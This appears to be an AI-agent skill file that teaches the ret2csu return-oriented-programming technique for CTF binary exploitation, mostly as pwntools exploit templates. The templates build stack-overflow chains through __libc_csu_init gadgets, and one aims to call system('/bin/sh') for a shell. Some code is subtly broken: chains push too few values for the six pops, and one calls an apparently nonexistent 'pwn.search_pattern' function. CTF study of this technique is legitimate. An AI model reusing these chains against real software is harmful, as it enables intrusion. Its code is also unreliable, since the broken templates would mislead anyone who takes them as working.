| name | ret2csu-exploitation |
| description | Use this skill whenever you're working on binary exploitation challenges involving ROP chains, especially when you need to set up function call parameters or can't find standard gadgets. Trigger on mentions of ret2csu, __libc_csu_init, ROP chain construction, binary exploitation, CTF challenges with stack overflows, or when you need to control multiple registers for function calls. This skill helps you exploit the __libc_csu_init gadgets to set registers and call functions even when traditional gadgets are unavailable. |
Ret2CSU Exploitation
This skill helps you exploit the ret2csu technique, which uses gadgets from __libc_csu_init to set up function call parameters when traditional ROP gadgets are unavailable.
When to Use This Skill
Use this skill when:
- You're solving a binary exploitation challenge with a stack overflow
- You need to call a function with specific parameters but can't find gadgets to set registers
- You've identified
__libc_csu_init in the binary and want to leverage it
- You're working on CTF challenges involving ROP chains
- You need to control multiple registers (rdi, rsi, rdx) for function calls
Core Concept
The __libc_csu_init function contains two powerful gadgets:
Gadget 1: Register Setup
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;
This lets you set values in rbx, rbp, r12, r13, r14, r15 by popping from the stack.
Gadget 2: Parameter Setup + Call
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
This moves values into rdx, rsi, edi (function parameters) and calls a function at [r12 + rbx*8].
Finding the Gadgets
Method 1: Using GEF/PEDA
gef➤ search-pattern 0x400560
gef➤ x/10i __libc_csu_init
Method 2: Using pwn
from pwn import *
elf = ELF('./binary')
pop_chain = elf.symbols['__libc_csu_init'] + 0x124
reg_call = elf.symbols['__libc_csu_init'] + 0x108
Method 3: Using the Helper Script
python scripts/find_ret2csu_gadgets.py ./binary
Common Exploitation Patterns
Pattern 1: Call a Function with Parameters
Use this when you need to call a function like write(1, buf, len) or system("cmd").
from pwn import *
elf = ELF('./vuln')
p = process()
POP_CHAIN = 0x401224
REG_CALL = 0x401208
rop = ROP(elf)
rop.raw('A' * 40)
rop.raw(POP_CHAIN)
rop.raw(0)
rop.raw(0)
rop.raw(0xdeadbeef)
rop.raw(0xcafebabe)
rop.raw(REG_CALL)
p.sendlineafter(b'>', rop.chain())
Pattern 2: Bypass the Call and Reach ret
Use this when you just need to set registers and return, not call a function.
from pwn import *
elf = ELF('./vuln')
p = process()
csuGadget0 = 0x40089a
csuGadget1 = 0x400880
initPtr = 0x600e38
payload = b'A' * 0x28
payload += p64(csuGadget0)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(initPtr)
payload += p64(0xf)
payload += p64(0xf)
payload += p64(0xdead)
payload += p64(csuGadget1)
payload += p64(0xf)
payload += p64(0x1)
payload += p64(0x1)
payload += p64(0xf)
payload += p64(0xf)
payload += p64(0xf)
payload += p64(0xf)
payload += p64(elf.sym['win'])
p.sendline(payload)
Pattern 3: Call libc Functions
Use this when you need to call system(), write(), or other libc functions.
from pwn import *
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process()
POP_CHAIN = 0x401224
REG_CALL = 0x401208
system_addr = libc.symbols['system']
search_result = pwn.search_pattern(system_addr)
rop = ROP(elf)
rop.raw('A' * 40)
rop.raw(POP_CHAIN)
rop.raw(0)
rop.raw(0)
rop.raw(0)
rop.raw(0)
rop.raw(REG_CALL)
rop.system('/bin/sh')
p.sendlineafter(b'>', rop.chain())
p.interactive()
Key Conditions to Remember
For the Call Pattern:
[r12 + rbx*8] must point to a callable function address
- If you don't know an address, search for a pointer to
_init or another known function
For the Bypass Pattern:
rbp and rbx must have the same value to avoid the jnz jump
- Account for the
add rbx, 0x1 instruction in the second gadget
- There are omitted pops you need to account for in the stack
Debugging Tips
Verify Gadget Addresses
gef➤ x/20i __libc_csu_init
Check Register Values
gef➤ break *0x401208
gef➤ info registers
Search for Function Pointers
gef➤ search-pattern 0x400560
Common Pitfalls
-
Wrong gadget offsets: Gadget addresses vary by compiler and binary. Always verify with your specific binary.
-
Missing padding: Account for all padding between input and return address.
-
Register order: Remember the order: rbx, rbp, r12, r13, r14, r15 (not alphabetical!)
-
PIE binaries: If PIE is enabled, you'll need to leak an address first to calculate gadget addresses.
-
Stack alignment: Some functions require 16-byte stack alignment. Add padding if needed.
Helper Scripts
Find Gadgets
python scripts/find_ret2csu_gadgets.py ./binary
Build ROP Chain
python scripts/build_ret2csu_chain.py --binary ./binary --function write --args "1,0x601000,0x20"
Next Steps
- Find the gadgets in your binary using the methods above
- Determine your goal: call a function, set registers, or both?
- Choose the pattern that matches your goal
- Build the ROP chain with correct padding and register values
- Test and debug using GDB
- Iterate if the exploit doesn't work
References